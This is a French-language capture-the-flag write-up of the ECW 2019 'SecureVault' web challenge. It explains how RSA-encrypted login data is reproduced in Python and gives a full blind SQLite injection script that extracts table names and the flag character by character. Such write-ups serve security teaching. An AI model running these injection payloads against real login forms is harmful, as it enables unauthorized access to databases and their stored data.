Zeecka zeecka

SecureVault

ECW 2019 CTF Qualification - Web (50 pts)

ECW 2019 CTF Qualification - SecureVault

Détails du challenge

EventChallengeCategoryPointsSolves
ECW 2019 CTF QualificationSecureVaultWeb5087
![securevault.jpg](/files/ecw_qual_2019/securevault/securevault.jpg)


Yet Another online Vault mais celui-là est sécurisé avec de la cryptographie de qualité!

Accéder au challenge

TL;DR

Il s’agissait d’une SQL injectionite en aveugle avec un chiffrement RSA des données soumises.

Méthodologie

Lorsqu’on arrive sur le site, on tombe sur une page de login :

![login.png](/files/ecw_qual_2019/securevault/login.png)


Si l’on regarde le code source html, on obtient le code source suivant :

<!DOCTYPE html>
<html lang="en">
<head>
	<title>Secure Vault Login</title>
  <script src="https://code.jquery.com/jquery-1.8.3.min.js"></script>
	<script src="static/js/jsencrypt.min.js"></script>
  <script>
  		$(document).ready(function () {

  			$("#challenge").submit(function (event) {
  				event.preventDefault();
  				var encrypt = new JSEncrypt();
  				encrypt.setPublicKey($('#pubkey').val());

  				email = $('#email').val();
  				passwd = $('#passwd').val();
  				jsonlogin = {
  					"email": email,
  					"passwd": passwd
  				}

  				var encrypted = encrypt.encrypt(JSON.stringify(jsonlogin));
  				$.post( "/login",{encrypted:encrypted}, function( data ) {
  					$('#content').text(data)
  					$('#msg_modal').on('shown.bs.modal', function () {}).modal('show');
  				});
  			})

  		});
  	</script>

    [...]

    <input type=hidden id="pubkey" value="-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----">

RSA

Tout d’abord, on peut voir que lorsqu’on essaie de se connecter au site, les données sont chiffrées avec du chiffrement RSA à l’aide d’une clé publique via JSEncrypt. Pour cela, j’ai cherché sur Google « JSEncrypt to python » et j’ai trouvé un post StackOverflow avec une petite implémentation utilisant la bibliothèque Crypto avec RSA et PKCS1_v1_5. J’ai décidé de l’implémenter :

import requests
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64

url = "https://web_securevault.challenge-ecw.fr/login"

s = requests.session()

cook = {"session":"[REDACTED]"}

pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""

def inject(i):
    data = {
        "email":i,
        "passwd":"x"
    }
    jsondata = json.dumps(data, separators=(',', ':'))
    rsa_key = RSA.importKey(pubkey)
    cipher = PKCS1_v1_5.new(rsa_key)
    newdata = base64.b64encode(cipher.encrypt(jsondata))
    r = s.post(url,{"encrypted":newdata},cookies=cook)
    return r.text

print(inject("test"))

On obtient la réponse BAD USERNAME/PASSWORD ! ; à noter que si les données n’étaient pas valides, on aurait Invalid input comme réponse. Notre script rsa python fonctionne.

Injection SQLite

Avec quelques tests, on peut facilement déclencher une SQL injection :

print(inject("' OR 1=0 --"))
print(inject("' OR 1=1 --"))

Sortie :

BAD USERNAME/PASSWORD !
Welcome back! Unfortunately we are under maintenance, please come back later :)

J’ai décidé de réutiliser mon write-up A Simple Question qui portait sur une SQL injectionite. Voici donc le script complet pour dumper la base de données :

import requests
import string
import json
from Crypto.Cipher import PKCS1_v1_5
from Crypto.PublicKey import RSA
import base64

url = "https://web_securevault.challenge-ecw.fr/login"

s = requests.session()

  cook = {"session":"[REDACTED]"}

pubkey = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6NxvZHf6eBzmIvfvRAOZ
UHPL8pzY5xdrFd0qa5Gh/E215tKFQ2vMMBpF/yyA2KE55bwaQnUPNkzPxPKV5MCL
rqdobV/HO6F4m4XIDP2PA6sJUmMjhh8X6aAzQ1rgMyF+J0z6zGY2kh2LtBAGDnu5
wfY+cORY/CyJZ7y8RRxEdeTDtsVnRe/xz++9cIF6e+yYqwJLa+nHD894oFbVlSok
NJh8e2eqpkIvfVotmp4JTjDJp9bpH+ibHWi3gj/o3SXvu832LHn1d5fANB9sQ44r
UjDfhr8h0bA8ZkO5Hj9W39M5WJK9MqzgV5lgb3patN0wOosPOKRBRKdA65jRbuxo
pwIDAQAB
-----END PUBLIC KEY-----"""


def isTrue(r):
    return "Welcome back" in r.text or "flag" in r.text

def inject(i):
    data = {
        "email":i,
        "passwd":"x"
    }
    jsondata = json.dumps(data, separators=(',', ':'))

    rsa_key = RSA.importKey(pubkey)
    cipher = PKCS1_v1_5.new(rsa_key)
    newdata = base64.b64encode(cipher.encrypt(jsondata))
    r = s.post(url,{"encrypted":newdata},cookies=cook)
    return isTrue(r)

def p_inject(i):
    res = inject(i)
    print(i+"  =>  "+str(res))
    return res



for i in range(5):
    p_inject("' OR 1=1 AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) = "+str(i)+" --")
# ==> Only 2 table


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' and tbl_name not like 'users' limit 1 offset 0) = "+str(i)+" --")
# ==> Table name 1 is 5 chars (users)
# ==> Table name 2 is 5 chars


tableName = ""
for i in range(7):
    for c in string.printable:
        r = p_inject("' OR 1=1 and (SELECT hex(substr(tbl_name,"+str(i+1)+",1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' and tbl_name NOT like 'users' limit 1 offset 0) = hex('"+str(c)+"') --")
        if r:
            tableName += c
            break
print("Table name: "+str(tableName))
# ==> Table name is "users"
# ==> Table name is "vault"


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY "+str(i)+") --")
# ==> Answer has 1 column


for i in range(10):
    p_inject("' OR 1=1 AND (SELECT count(*) FROM vault ) = "+str(i)+" --")
# ==> Answer has 1 record


p_inject("' OR 1=1 AND (SELECT 1 FROM vault ORDER BY flag) --")
# ==> Answer has 1 column named "flag" (guessing)

for i in range(45,100):
    p_inject("' OR 1=1 AND (SELECT length(flag) FROM vault) > "+str(i)+" --")
# ==> Length of answer is 69

answer = ""
for i in range(69):
    for c in string.printable:
        r = p_inject("' OR 1=1 and (SELECT hex(substr(flag,"+str(i+1)+",1)) FROM vault) = hex('"+str(c)+"') --")
        if r:
            answer += c
            break
print("Answer: "+str(answer))

Sortie

Answer: ECW'9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3'

Flag

ECW{9b41ce0c7b102d04452213ad4d8e49f77b0813'f7f8a07882039a801d6211fd3}

Zeecka